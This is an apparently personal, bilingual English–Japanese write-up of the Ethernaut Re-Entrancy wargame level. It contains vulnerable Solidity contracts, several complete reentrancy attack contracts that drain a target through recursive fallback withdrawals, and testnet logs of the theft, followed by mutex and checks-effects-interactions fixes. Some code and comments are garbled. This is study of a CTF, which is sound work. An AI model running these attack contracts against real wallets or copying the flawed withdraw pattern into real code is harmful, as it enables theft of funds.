Ethernaut-solution 10. Re-Entrancy
Ethernaut-solution
10. Re-Entrancy
The goal of this level is for you to steal all the funds from the contract.
Things that might help:
-
Untrusted contracts can execute code where you least expect it.
-
Fallback methods
-
Throw/revert bubbling
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section "Beyond the console"
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
//A re-Entrancy atttack occurs when you write a function in your contract that makes an external function call to another untrusted contract.
// before your function call is able to completely executing and resolve any kind of effects.
//you're calling or you're potentially calling contract that's untrusted, they can take control of your calling function in your contract
//and make a recursive call that creates a loop with very unfortunate and very unintended consequences
//DAOWallet.sol
pragma solidity ^0.8.0;
contract DAOWallet {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint _amount) public {
require(balances[msg.sender] >= _amount); // -> check
//recursive call the DAOWallet withdraw function again, and we're gonna create that loop and
//we're never gonna get this code here,there's gonna be suck the money drive from this dao from this dao wallet contract.
(bool sent, ) = msg.sender.call{ value: _amount }(""); => Attack to reentrancy and security vlunerability! //-> Interaction
//function call to transfer the money to the account that's requesting a withdraw is conducted first
//before the internal accounting mechanism is properly edited and decremented appropreiately.
//this msg.sender is going to be attack smart contract that we're going to write right now,
//and it's going to create this recursive loop that's going to allow it to just call withdraw have money sent to it,
//and then automatically call withdraw again, and have money sent to it again and again until this contract loses all of the money.
require(sent, "Monet Transfer failed!");
balances[msg.sender] -= _amount; // -> Effects
}
function getAccountBalances() public view returns (uint) {
return address(this).balances;
}
} *Check-Effect-Interactive のprocess of smart contract security。この順番を守れないとvulnerability
we are now recommended that transfer() and send() be avoided.
Not really a good fix due to the gas limits posibliy changing over time, not a long-term fix.
//ReentrancyAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './DAOWallet.sol';
contract ReentrancyAttack {
DAOWallet public dWallet;
constructor(address _daoWalletAddress) public {
dWallet = DAOWallet(_daoWalletAddress);
}
function attack() external payable {//executed attack
require(msg.value >= 1 ether);
dWallet.deposit{ value: msg.value }();//put money into DAOWallet
dWallet.withdraw(1 ether); //and then withdraw cuz function withdraw programmed to send our contract money
//which means it's gonna hit our fallback function
}
fallback() external payable {
if(address(dWallet).balance >= 1 ether) {
dWallet.withdraw(1 ether);
}
}
function getContractBalance() public view returns(uint) {
return address(this).balance;
}
}
URLが不正です
//Javascript VMではじめにDeploy
//Account 1.Dale 2.Laura
//1.Dale の状態でvalueを 1 Etherに設定。=> deployしてtransactionの成功を確認 => Deployed Contractを選択してdeposit => getAccountBalanceで 1Etherの入金を確認
[vm]from: 0x5B3...eddC4to: DAOWallet.deposit() 0xd91...39138value: 1000000000000000000 weidata: 0xd0e...30db0logs: 0hash: 0xca1...fce18
call to DAOWallet.getAccountBalances
//2.Laura の状態でもvalueを1 Ether => getAccountBalanceで 2 Etherになったことを確認 (誰でもdeployできる状況)
[vm]from: 0xAb8...35cb2to: DAOWallet.deposit() 0xd91...39138value: 1000000000000000000 weidata: 0xd0e...30db0logs: 0hash: 0xdbe...b78c9
call to DAOWallet.getAccountBalances
URLが不正です
//3. Bob => Attack to reentrancy and security vlunerability! //32:12
//DeployedContract DAOWalletのAddressをcopyしてdeployにpaste => select ReentrancyAttack contract => deploy => show up reentrancyAttack contract
[vm]from: 0x4B2...C02dbto: ReentrancyAttack.(constructor)value: 0 weidata: 0x608...39138logs: 0hash: 0xc0d...1c32f //35:08
//Attack failed?? //36:15 => 失敗の原因がわからないのでsearch
[vm]from: 0x4B2...C02dbto: ReentrancyAttack.attack() 0xa9d...6661Dvalue: 1000000000000000000 weidata: 0x9e5...faafclogs: 0hash: 0x258...b2043
transact to ReentrancyAttack.attack errored: VM error: revert.
revert
The transaction has been reverted to the initial state.
Reason provided by the contract: "Monet Transfer failed!".
Debug the transaction to get more information.
//getContractBalance 2 ETH
/how prevent this attack ever happning //38:23
//mutex
mutex is something that places a lock on some contract state and only the owner of that lock can modify the state
and the idea is that you basically lock a contract while a function is being executed.
and that ensures that only a single function can be executed at a time.
mutex would basically be an internal mechanism.we would track of that would of piece of state in our case our balances
is only being modified while a function is getting executed once that only single function executed at a time
//DAOWallet.sol custom
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract DAOWallet {
mapping(address => uint) public balances; //sort of internal accounting mechanism
bool internal locked; //as mutex
function deposit() public payable {
balances[msg.sender] += msg.value;
}
modifier noReentranct() {//would executed first //mutex using modifier
require(!locked, "Absolutely no re-entrancy!");
//the contract is not locked, if locked is equal to true.
locked = true;//this little internal mutex, and then executing everything inside of unsafeWithdraw
_; //would executed function that would be responsible
locked = false;
}
//checks-effects-interactions pattern
function unsafeWithdraw(uint _amount) public {//somebody were recursive call this function again, basically unsafeWithdraw function is false which means get to require(!locked, "Absolutely no re-entrancy!");
//we set it true,and then function get call,
require(balances[msg.sender] >= _amount);
(bool sent, ) = msg.sender.call{ value: _amount }("");
require(sent, "Monet Transfer failed!");
balances[msg.sender] -= _amount;
}
function getAccountBalances() public view returns (uint) {
return address(this).balance;
}
}
//今までのDAOWalletを使ったRe-Entrancy Attack lessonを参考に実践してみる。
/Reentrance.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import 'https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/utils/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) { //[2] このcodeのVulnerabilityでEth抜きまくれる //[check]
//*make sure adheing to the "check-effect-interaction" solidity pattern!
(bool result,) = msg.sender.call{value:_amount}(""); //[interaction]
//msg.sender represent a user wallet address that could be a smart contract and if you're calling its fallback function,
//there can be malicious code in there. that's going to exploit some vlunerability that you have in contract
//now that way again that this could have been fixed is [1]
if(result) {
_amount;
}
balances[msg.sender] -= _amount; //[effect]
//[1] maintain the balance for a given account before we called the fallback function that sent money "msg.sender.call{value:_amount}(""); "" to the contract.
}//recursive loop would never have been able to get executed and again if this [2] of code would have been underneath withdraw function.
}
fallback() external payable {}
}
/EthernautReentrancyAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Reentrance.sol';
contract EthernautReentrancyAttack {
Reentrance target;
uint public amount = 1 ether; //withdraw amount each other
constructor(address payable _targetAddr) public payable {
target = Reentrance(_targetAddr);
}
function donateToTarget() public { //Ethを送ることでhackingする
target.donate{ value: _amount, gas: 4000000 }(address(this)); //need to add this fn
//自分でcustom codeできたのはいい傾向。
}
fallback() external payable { //fallbackがtriggerになってzeroになるまでEthを抜き続ける
if (address(target).balance != 0) {
target.withdraw(amount);
}
}
}
/EthernautReentrancyAttack.sol custom!! 0.001用
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import './Reentrance.sol';
contract EthernautReentrancyAttack {
Reentrance target;
uint public amount = 1000000000000000 wei; //withdraw amount each other
constructor(address payable _targetAddr) public payable {
target = Reentrance(_targetAddr);
}
function donateToTarget() public { //Ethを送ることでhackingする
target.donate{ value: amount, gas: 4000000 }(address(this)); //need to add this fn
//自分でcustom codeできたのはいい傾向。
}
fallback() external payable { //fallbackがtriggerになってzeroになるまでEthを抜き続ける
if (address(target).balance != 0) {
target.withdraw(amount);
}
}
}
*process!
//HackしたいcontractのAddressを確認
>contract.address
'0xaF39fAee90a94f990C7479c460Ddf659084ee1F1'
//deploy copy address, Injected Web3を選択、value of 1 Ether, さっきdeployした contrat of EtherReentrancyAttack.sol をchoice
//deploy done.
[block:10901374 txIndex:3]from: 0xF6e...f30F5to: EthernautReentrancyAttack.(constructor)value: 1000000000000000 weidata: 0x608...ee1f1logs: 0hash: 0x016...02cf3
//HackしたいcontractのEth残高確認(すでにtargetとしてdeploy済み)
>await getBalance(contract.address)
'0.001'
// deployed Contracrs of EthernautReentrancyAttack.sol のAddress copy
0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F
>await getBalance("0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F")
'0.001'
//click donateToTarget
//donateすることでHackしたいcontractにAccessできるようになる
[block:10901383 txIndex:5]from: 0xF6e...f30F5to: EthernautReentrancyAttack.donateToTarget() 0x795...2468Fvalue: 0 weidata: 0x52e...3b827logs: 0hash: 0xbb9...4c252
//寄付完了
>await getBalance(contract.address)
'0.002'
//now we know that exist in this balances mapping!
//Hacking用のcontract addressのbalanceOfを確認してみると、すでにmapping(Hacking)済みなのがわかる。
await contract.balanceOf("0x7950fA5D2E60b3F3Db9f04d8A362a4AFE952468F")
o {negative: 0, words: Array(3), length: 2, red: null}
length: 2
negative: 0
red: null
words: Array(3)
0: 13008896
1: 14901161
length: 3
[[Prototype]]: Array(0)
[[Prototype]]: Object
/このcodeのVulnerabilityを突いてover and over Ethを抜きまくり
if(balances[msg.sender] >= _amount) {
//transact をtapするとfallback function が発動する on EthernautReentrancyAttack.sol
[block:10901390 txIndex:3]from: 0xF6e...f30F5to: EthernautReentrancyAttack.(fallback) 0x795...2468Fvalue: 0 weidata: 0xlogs: 0hash: 0x78d...84e2b
//stealing 成功
>await getBalance(contract.address)
'0'
*Flaw
Check > Interact > Effect(wrong order) - leads to re-entrancy flaw
Externally owned account (EOA)...
*Assumption => Baked in assumption that we are going to interact with an EOA. but in the real-world contracts a fair game too.
Fallbacks... We are going to "fallback" into the target over and over, until we remove all the funds.
mutex (mutual exclusion object)
a program object that is created so that multiple program thread can take turns sharing the same resource, such as access to a file.
//24:00- code review
/これも試してみた from DEV https://dev.to/nvn/ethernaut-hacks-level-10-re-entrancy-42o9
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface IReentrance {
function donate(address _to) external payable;
function withdraw(uint _amount) external;
}
contract ReentranceAttack {
address public owner;
IReentrance targetContract;
uint targetValue = 1000000000000000;
constructor(address _targetAddr) public {
targetContract = IReentrance(_targetAddr);
owner = msg.sender;
}
function balance() public view returns (uint) {
return address(this).balance;
}
function donateAndWithdraw() public payable {
require(msg.value >= targetValue);
targetContract.donate.value(msg.value)(address(this));
targetContract.withdraw(msg.value);
}
function withdrawAll() public returns (bool) {
require(msg.sender == owner, "my money!!");
uint totalBalance = address(this).balance;
(bool sent, ) = msg.sender.call.value(totalBalance)("");
require(sent, "Failed to send Ether");
return sent;
}
receive() external payable {
uint targetBalance = address(targetContract).balance;
if (targetBalance >= targetValue) {
targetContract.withdraw(targetValue);
}
}
}
In order to prevent re-entrancy attacks when moving funds out of your contract,
use the Checks-Effects-Interactions pattern being aware that call will only return false without interrupting the execution flow.
Solutions such as ReentrancyGuard or PullPayment can also be used.
transfer and send are no longer recommended solutions as they can potentially break contracts after the Istanbul hard fork Source 1 Source 2.
Always assume that the receiver of the funds you are sending can be another contract,
not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract,
possibly messing up your state/logic.
Re-entrancy is a common attack. You should always be prepared for it!
The DAO Hack
The famous DAO hack used reentrancy to extract a huge amount of ether from the victim contract.
See 15 lines of code that could have prevented TheDAO Hack.
Discussion